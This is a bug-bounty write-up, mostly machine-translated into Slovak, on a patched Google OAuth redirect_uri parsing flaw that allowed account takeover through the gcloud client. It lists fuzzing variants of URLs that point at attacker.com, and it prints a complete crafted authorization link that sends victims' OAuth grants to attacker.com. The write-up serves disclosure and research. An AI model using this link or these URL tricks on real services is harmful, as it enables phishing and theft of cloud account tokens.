TL;DR
Tvrdenie; drTento článok prechádza jedinečnou zraniteľnosťou pri prevzatí účtu OAuth, ktorú som nedávno objavil, ktorá ovplyvňuje niekoľko služieb Google.redirect_uri
Zraniteľnosť umožňuje útočníkom predstierať legitímne aplikácie, ako je klient Google Cloud SDK, a preniknúť token prístupu na server ovládaný útočníkom, ktorý umožňuje backdoorový prístup k účtu obete - s takmer nulovou viditeľnosťou pre obeť.
Note:Prvé štyri sekcie pokrývajú všeobecné pozadie OAuth, riziká úniku tokenov a zmätok pri analýze URL. Ak ste už oboznámení s týmito pojmami, neváhajte skočiť priamo doSection 5: Google Cloud Account Takeover Case.
1. úvod
OAuth 2.0 umožňuje aplikáciám tretích strán získať prístup k používateľským údajom bez toho, aby spracovávali heslá priamo tým, že autorizačný server (napr. Google) vytvorí token, ktorý bude aplikácia tretích strán používať na vyžiadanie používateľských údajov alebo na vykonávanie akcií v ich mene.
Ale ak saredirect_uri
Tento parameter nie je overený chirurgickou presnosťou, útočníci sa môžu predstierať ako dôveryhodné aplikácie a podvádzať používateľov do úniku ich tokenov prístupu.
V tomto článku budem prechádzať tým, ako mi jemná chyba v analýze URL mi umožnila urobiť presne to - cez viaceré služby Google - s hlbokým ponorením do prípadu Google Cloud.
Ako funguje OAuth
Zatiaľ čo OAuth je pomerne zložitý protokol, ktorý si zaslúži sériu článkov, aby plne pochopil, tu je zjednodušený prehľad:
-
Authorization Request: The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes).
-
Redirect with Grant: After approval, the server redirects the user back to a predefined
redirect_uri
with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). -
Request user data: The client app uses the token to access the user’s protected data from the resource server.
Na vizualizáciu vecí mi zjednodušený diagram nižšie ukazuje prihlásenie do prostredia pomocou môjho účtu Google:
Note:V mnohých prípadoch sú autorizačný server a server zdrojov rovnaké.
OAuth Token únik
Pri pohľade na vyššie uvedený diagram je najtrikovejšou časťou krok 5, v ktorom autorizačný server posiela generovaný token späť do klientskej aplikácie.redirect_uri
vedieť, kam poslať token.
Ak tento parameter nie je správne overený, útočník môže predstierať klientsku aplikáciu (napr. Medium) a podviesť autorizačný server, aby im poslal token prístupu používateľa – aj keď z pohľadu používateľa všetko vyzerá legitímne.
Typicky však,redirect_uri
je do určitej miery validovaná – nemôžete len hodiť náhodnú adresu URL na autorizačný server. Avšak metódy validácie sa v rôznych implementáciách líšia v závislosti od obchodných potrieb a chyby v tomto procese môžu byť využiteľné.
Niektoré bežné vzory:
- Prísne zhodovanie: Presné zhodovanie reťazcov s vopred registrovaným URI.
- Wildcard alebo Path Prefix Matching: Povolenie URI ako https://example.com/* alebo https://*.example.com.
- Loopback adresy: Bežné v desktopových aplikáciách, kde lokálny server spracováva presmerovanie.
Url Parsing zmätok
PodľaRFC 3986 ZoznamŠtandardná URL má nasledujúcu štruktúru:
scheme://username:password@host:port/path?query#fragment
Každá zložka zohráva špecifickú úlohu:
-
scheme
: in web context it’s usually the protocol (e.g., http) -
username:password
: user credentials -
host
: the domain or IP address (e.g., google.com) -
port
: optional port number (e.g., 443) -
path
: the specific resource or endpoint (e.g., /login) -
query
: key-value pairs of parameters -
fragment
: a client side page reference
Note: host:port
Označuje sa akoauthority, username:password
Sú označované akouserinfo
Na prvý pohľad to vyzerá jednoducho – ale môžu sa vyskytnúť jemné rozdiely v analýze, najmä pri zaobchádzaní s prípadmi hraníc.
Vývojári môžu predpokladať, že adresa URL je analyzovaná konzistentným, štandardizovaným spôsobom vo všetkých knižniciach, avšak rozsiahle výskumy analyzátorov URL preukázali úplný opak.
-
OAuth redirect URI validation
-
SSRF prevention
-
Proxy or CDN routing
Nižšie je uvedený príklad, kde sa s jednou adresou URL zaobchádza odlišne v troch rôznych analyzátoroch
Zatiaľ čo tento článok sa nebude ponoriť hlboko do URL analýzy útokov zmätku, sú dôkladne preskúmané v papieri Black Hat 2017Nová éra SSRF – využívanie URL parserov v trendových programovacích jazykoch
Prípad prevzatia účtu Google Cloud
Ak ste niekedy používali Google Cloud predtým, pravdepodobne ste sa stretligcloud
CLI utility — výkonný príkazový riadok nástroj používaný na správu zdrojov Google Cloud. Medzi ďalšie funkcie, umožňuje používateľom overiť pomocou svojich účtov Google prostredníctvom prehliadača-založené OAuth toku.
Tu je, ako to funguje:
-
The user runs
gcloud auth login
-
gcloud
spawns a local http server on a dynamic port (e.g., http://localhost:50000) -
gcloud
opens a browser window directing the user to a Google OAuth authorization URL withredirect_uri
set to the local server address -
The user authenticates and consents to the requested scopes
-
Google redirects the user to
redirect_uri
containing the authorization code -
gcloud
exchanges the authorization code for an access token -
gcloud
uses the access token to perform actions on the user’s Google cloud account
Aby tento tok fungoval, spoločnosť Google dôveruje určitým URL adresám (napr. http://localhost) pre natívne aplikácie, pretože sú považované za dostatočne bezpečné pre lokálne použitie a sú vnútorne biele.
Identifikácia útočného povrchu
Po zistení alocalhost
Používa sa akoredirect_uri
Môj prvý inštinkt bol nahradiť ho127.0.0.1
a[::1]
Toto je kľúčový krok, pretože potvrdzuje, že adresy URL sú v skutočnosti analyzované a porovnávané interne, namiesto toho, aby ste mali nejakú základnú kontrolu, ako napríklad:
if re.match(r"^http://localhost:\d{1,5}/$", url) is None:
return False
Takže tu máme dve dôležité veci, ktoré sa dejú:
-
The provided
redirect_uri
gets parsed and validated internally by Google’s backend. -
After a successful login and user consent, users get redirected to
redirect_uri
in the browser.
To znamená, že máme dva URL analyzátory na mieste, ten, ktorý používa backend spoločnosti Google, a analyzátor používaný naším prehliadačom (Chrome v mojom prípade), takže pokiaľ tieto dva analyzátory nie sú totožné, akákoľvek nezrovnalosť medzi nimi môže byť využitá na únik OAuth grant na server ovládaný útočníkom.
Cieľ je teraz jasný, musíme vytvoriť URL adresu, ktorá sa analyzuje odlišne medzi dvoma analyzátormi, takým spôsobom, že klameme backendový analyzátor spoločnosti Google, aby analyzoval ako adresu loopback, zatiaľ čo analyzátor Chrome analyzuje ako globálnu internetovú adresu.
Skutočnosť, že máme veľmi obmedzené vedomosti o backend spoločnosti Google a o tom, akú knižnicu interne používajú na analýzu URL, znamená, že nám zostáva len prístup čiernej skrinky.
B. Fuzzing pre víťazstvo
To, čo som urobil ďalej, bolo napísať skript Python, ktorý by mutoval rôzne adresy URL použitím rôznych kódovacích trikov, alternatívnych poznámok a prípadov okrajov, aby sa zistilo, ktoré z nich prešli overením backend spoločnosti Google, ale boli interpretované inak Chrome, skript používal niekoľko trikov, ako sú:
- Alternatívne IP zastúpenia: [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1]
- Súkromné IP adresy: 10.0.0.5, 192.168.5.3, 127.10.0.1
- Rôzne schémy: file://, ldap://, ftp://, javascript://, data://
- CRLF injekcia: %0D%0A
- Hostname/IP ako užívateľské informácie: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com
- Veľmi dlhé URL adresy: http://AAAAAA...@127.0.0.1
- DNS prípony: 127.0.0.1.attacker.com
- Zneužité URL adresy: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1
- Injekcie dotazu/fragmentu: Injekcia extra ? , & alebo # pred/po @
- DNS rebinding (testované manuálne)
Po spustení scenára na chvíľu, a k môjmu prekvapeniu, jeden z generovaných prípadov okrajov sa podarilo spustiť presnú nezhodu, ktorú som hľadal, moja reakcia bola:
Úspešný edge prípad bol:
http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/
ktoré možno ďalej zjednodušiť na:
http://[::1]@[::1]@attacker.com/
Keď sa pokúsime analyzovať túto adresu URL pomocou prehliadača Chrome, dostaneme nasledujúci výsledok:
Zaujímavá časť ohttp://[::1]@[::1]@attacker.com/
je, že je to malformovaný URL začať.@
charakter je vyhradený na oddelenieuserinfo
Z tohohostname
Chrome zmierňuje tento okrajový prípad kódovaním všetkých neobmedzených znakov, ako aj predchádzajúcich výskytov obmedzených znakov a použitím iba najnovšieho@
ako rozdeľovač.Tým sa zabezpečí, že akýkoľvek@
pred posledným je URL-kódovaný.
Naopak, na základe experimentálnych testov s variáciami užitočného zaťaženia sa zdá, že Google backend parser správne nekódoval predchádzajúce výskyty vyhradených znakov a namiesto toho použil prvý výskyt@
ako delimiter. po rozdelení na@
Parser pravdepodobne vytiaholuserinfo
ahostname
z pevných pozícií, úplne ignorujúc sledovanieattacker.com
.
Stojí za zmienku, že toto správanie bolo spustené výlučne pri používaní IPv6.http://127.0.0.1@127.0.0.1@attacker.com
Fungovalo to tak, ako sa očakávalo, zdôrazňujúc, že nesúlad bol špecifický pre IPv6 analytickú logiku.
c. dať všetko dohromady
Teraz sa náš vektor útoku stáva jasným, môžeme predstieraťgcloud
cli utility a podvádzať používateľa, aby autentifikoval myšlienku, na ktorú sa autentifikujegcloud
.
Útok sa odohráva takto:
- Vytvorte škodlivú žiadosť o autorizáciu OAuth a odošlite jej odkaz (kódový blok nižšie) obeti
- Obeti je prezentovaný úplne legitímny OAuth overovací tok pre klienta Google Cloud SDK (obrázok 9).
- Obete sa prihlasujú a súhlasia s uvedenými povoleniami (účely)
- Obete sa presmeruje na náš škodlivý hostiteľ, s ich generované OAuth grant
- Používame grant OAuth na vykonávanie hovorov API na účet obete v ich mene
https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256
Nižšie je zobrazená vizualizácia navrhovaného útoku
Z pohľadu používateľa by to vyzeralo, akoby sa autentifikovali dogcloud
, aj pre autorizačný server Google, bude to vyzerať, akoby sa používateľ pokúšal overiťgcloud
Takže efektívne podvádzame obe strany autentizácie, aby si mysleli, že ide o legitímny proces autentizácie, zatiaľ čo konečný token prístupu sa prenáša do nášho škodlivého hostiteľa.
Únik prístupového tokenu nám účinne poskytne neobmedzený prístup k účtu obetí, čo nám umožní vykonávať aj vysoko privilegované akcie.
Čo robí tento útok ešte nebezpečnejším je:
-
Stealth: official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on Third-party apps & services page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user.
-
Trust: official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal
gcloud
application might request (we can only request scopes that are available but not actively requested)
Ako už bolo uvedené na začiatku tohto článku,gcloud
je len jedna zraniteľná aplikácia, nižšie sú niektoré ďalšie aplikácie, ktoré som zistil, že sú zraniteľné tiež:
-
Google Drive Desktop Client
-
Firebase Desktop Client
-
Windows Mail (3rd-party app)
Google reagoval rýchlo, uznal závažnosť v priebehu 72 hodín a udelil odmenu s vysokou závažnosťou.
6. záver
Tento výskum poukazuje na to, ako jemné rozdiely v analýze adresy URL môžu úplne podkopávať bezpečnosť celého toku overovania, ktorý sa opätovne používa v rôznych aplikáciách a službách, a to aj vtedy, keď ho implementuje spoločnosť, ktorá je taká zrelá a vedomá bezpečnosti ako Google.
Napriek tomu, že OAuth je vyspelý a dobre študovaný protokol, jeho bezpečnosť závisí vo veľkej miere od drobných detailov implementácie, ktoré sa líšia medzi platformami, knižnicami a prostredím.Je to pripomienka, že v oblasti bezpečnosti, presnosť záleží: aj malé nezrovnalosti medzi komponentmi môžu stačiť na porušenie kritických predpokladov dôvery.
Spoločnosť Google túto zraniteľnosť odstránila po zodpovednom zverejnení.
Ďakujem za čítanie!